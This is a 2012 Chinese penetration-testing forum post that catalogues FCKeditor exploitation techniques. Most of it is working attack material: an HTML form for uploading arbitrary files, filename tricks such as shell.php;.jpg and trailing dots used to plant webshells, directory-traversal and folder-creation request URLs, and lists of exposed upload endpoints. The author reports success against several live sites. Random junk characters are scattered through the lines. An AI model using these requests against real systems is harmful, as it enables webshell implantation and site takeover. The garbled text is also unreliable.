中国网络渗透测试联盟

标题: Fckeditor漏洞 (2) [打印本页]
作者: admin    时间: 2012-9-13 17:01
标题: Fckeditor漏洞 (2)
Fckeditor漏洞利用总结  / e8 I$ c  `9 w% T1 ^$ Y; }
查看编辑器版本
9 Y0 n' p7 S  l8 ]FCKeditor/_whatsnew.html1 ~4 i9 n6 K# {( {6 L
—————————————————————————————————————————————————————————————
3 p% p. `) N! {; d! w) [& O' c" A
  g" ?& Z$ T  ^1 N% }2. Version 2.2 版本
% d- E5 G6 }% k  ^" w* m! ?+ q. b8 [) vApache+linux 环境下在上传文件后面加个.突破！测试通过。" a2 ^1 U0 R$ U. }
—————————————————————————————————————————————————————————————' C. Y  k+ @4 ?1 z. n1 B! b+ M
/ w1 n& g4 Q' L. C5 d+ `
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。
+ V* S: X4 ^1 N8 O* p<form id="frmUpload" enctype="multipart/form-data"4 |- u1 J  c7 z$ F6 X
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
! r& K0 P4 E  C! e# v; q* O3 X<input type="file" name="NewFile" size="50"><br>( d! N5 s4 t+ B  K7 [
<input id="btnUpload" type="submit" value="Upload">& Z# X4 N1 `4 K- @6 K$ s
</form>
) t: h, Z9 w3 W5 H+ W—————————————————————————————————————————————————————————————
* i; q3 O  x8 N6 C( d
; z# `( s+ r5 Q. j6 b4 i4.FCKeditor 文件上传“.”变“_”下划线的绕过方法3 G$ E: C# B; L4 Z; R7 ]% d1 g
        很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
; T# g7 u0 m" j4 h3 C    4.1：提交shell.php+空格绕过
) O2 ?' |$ r/ B4 q/ y0 h; N8 G不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。' U3 F0 M" l( d) l' h3 k
    4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。9 [4 S' h5 |8 ?/ ?
—————————————————————————————————————————————————————————————
6 h5 n  }$ n3 ^5 ~" d$ {7 M. Z0 |; i/ L0 `; ^" h- o! N
5. 突破建立文件夹
* ]1 r2 q+ H! U" N" s1 }FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
6 l9 x1 I+ N* Q; K/ G$ y! F* LFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
+ h1 ~* _* o+ p* {3 E4 J/ G& V4 i—————————————————————————————————————————————————————————————
' E* a$ Y$ s, @. z' @/ t- D& b" H6 d% {' j6 f: e
6. FCKeditor 中test 文件的上传地址
, d$ {. f7 a! m5 gFCKeditor/editor/filemanager/browser/default/connectors/test.html
6 e* w% p( z$ ?0 |( E# E  F6 Z3 XFCKeditor/editor/filemanager/upload/test.html5 I- r: \. Q: t& ~" Q, Q
FCKeditor/editor/filemanager/connectors/test.html
; p5 d. Y+ Q3 L  e* `FCKeditor/editor/filemanager/connectors/uploadtest.html
' b) z+ b4 u8 V, y—————————————————————————————————————————————————————————————
; B2 t# `$ d! @2 n- t* ~1 d: h! J5 W# u* ?$ R4 j8 a
7.常用上传地址
. {3 M5 m4 M: H! JFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/! t. l# o  u& {- R; F  s9 y3 `
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp: p' ^7 w+ b9 Y# E" m
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)% V) T0 h3 A9 ]! r) n% Z: ]
JSP 版：$ A6 ^+ w" h- \' z: @: Z
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
/ `" D1 o/ n+ a注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文
  e  R* N- `! Q% X. r( Z, k6 A$ t件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。5 A+ o5 d8 x  d6 e  R
—————————————————————————————————————————————————————————————9 h) a, @  H5 _: h2 Z
, @1 p# G+ V- [
8.其他上传地址
3 i* h; h3 y) a# }FCKeditor/_samples/default.html
( |2 N& L8 W* y3 M3 }: ?7 bFCKeditor/_samples/asp/sample01.asp
1 Y0 }1 _2 J% X! c( T* WFCKeditor/_samples/asp/sample02.asp
1 K; _* a& i$ B! P5 bFCKeditor/_samples/asp/sample03.asp$ {3 A( {7 a( l$ j9 {
FCKeditor/_samples/asp/sample04.asp4 _& Z  ?- u% N7 `) ^7 ?8 D7 {
一般很多站点都已删除_samples 目录，可以试试。- E% v  T" z( B* r* C& R2 [
FCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。2 F9 K0 D0 G9 f  ^
—————————————————————————————————————————————————————————————# T& m4 R0 _' N" m5 H: y9 W

7 @6 \2 [. X  T+ s9.列目录漏洞也可助找上传地址
: n/ d& n5 t* F/ u4 b& {1 JVersion 2.4.1 测试通过
4 f0 J$ q4 t! t) r修改CurrentFolder 参数使用 ../../来进入不同的目录
. g* Q( t; T6 d- D9 C3 d/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp/ @7 [( Z$ e* C: y0 C
根据返回的XML 信息可以查看网站所有的目录。
2 C  q7 w$ g( eFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F6 u4 Z8 @4 [* F$ d0 j7 G1 x' B
也可以直接浏览盘符：" h) k; O' H5 t8 J) w9 q/ I) y
JSP 版本：
5 r* w9 m3 }2 |" h- A3 bFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F% r; K+ q( |% l3 ]& T4 |! h
—————————————————————————————————————————————————————————————1 y3 s; v; T! ]# c  \) t
; A6 K6 q/ d0 c' f' }) `3 R
10.爆路径漏洞  E/ J7 u% L& i  U; g6 t* }
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp" {8 L* x1 H% I9 U2 I: A! F
—————————————————————————————————————————————————————————————
( `% s# g) N2 B# P7 M
, p6 G; Y+ e. J* h, r( F( A11. FCKeditor 被动限制策略所导致的过滤不严问题3 k$ M+ F; b" B
        影响版本: FCKeditor x.x <= FCKeditor v2.4.3: [; J0 }6 ]# c4 c
脆弱描述：
0 s, @# E! M3 N# _- i% w) ZFCKeditor v2.4.3 中File 类别默认拒绝上传类型：
" W/ x' m1 |& x: A: J. U2 ]html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm* O- h: x/ _/ L( I3 g
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
# }4 r1 Q! u* H  T        而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。
, Z( A+ M$ S6 ^# l6 j' F) P$ m        在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
$ J( E  Y% s) p. G6 ?5 q—————————————————————————————————————————————————————————————. d7 X8 ^! g% }- d* W. T# B, o
0 x0 q5 ^7 B- d9 N; k, ^& [* _4 {
12.最古老的漏洞，Type文件没有限制！
2 Z' @0 e. m6 u1 ^9 b' @        我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！
' ?. ^, P# |" |+ r! i) j& i—————————————————————————————————————————————————————————————6 p2 l3 v( \0 [, z6 u

: t; b: E& q. _===============================================================================================================================================. l8 L# ]6 z; h* H8 c: I0 q0 W

" R9 E# s7 b* K; m' m- zFCK编辑器jsp版本漏洞：
9 M. w9 V$ q" |1 b
/ `, S+ X" i, J9 U
3 n, m/ Z: Y# G& @  E% s$ @http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
+ m& R5 ?0 {' n& L) g; |5 C" F, ]- M% B0 f# h$ ]8 q
上传马所在目录% H" [2 M4 F/ u* q  y- ]5 c
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/" G8 s' j, ^3 i
上传shell的地址:
* A5 {3 _' Q- g$ i: ehttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector& |; [% B/ N' |! @' _
跟版本有关系.并不是百分百成功. 测试成功几个站.$ |7 E/ I- Y* V8 m
不能通杀.很遗憾.' e4 B7 E! m5 U7 _
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector6 w, c  v1 T; N' O+ Z% D
如果以上地址不行可以试试6 Z& k( ?3 o# T# {
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
4 U$ i) ^- a- F% q9 C/ E1 ^! vFCKeditor/_samples/0 T. D* X; ~* i& K6 m+ v& c9 _) A
FCKeditor/_samples/default.html- C: C$ Y$ Y8 n1 e
FCKeditor/editor/fckeditor.htm4 n* x6 t+ V1 Q6 R0 O0 K
FCKeditor/editor/fckdialog.html
' |# n! X& H  w. P, x' E& B& V/ Q* G5 c! Q- a
( I- w5 c: D2 E. s1 ], h( c

. R& b( u9 F4 V; R* t解析漏洞+未重命名文件时上传漏洞  1.asp;jpg3 B" P7 @" C2 C3 r& b4 G" |0 Y




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2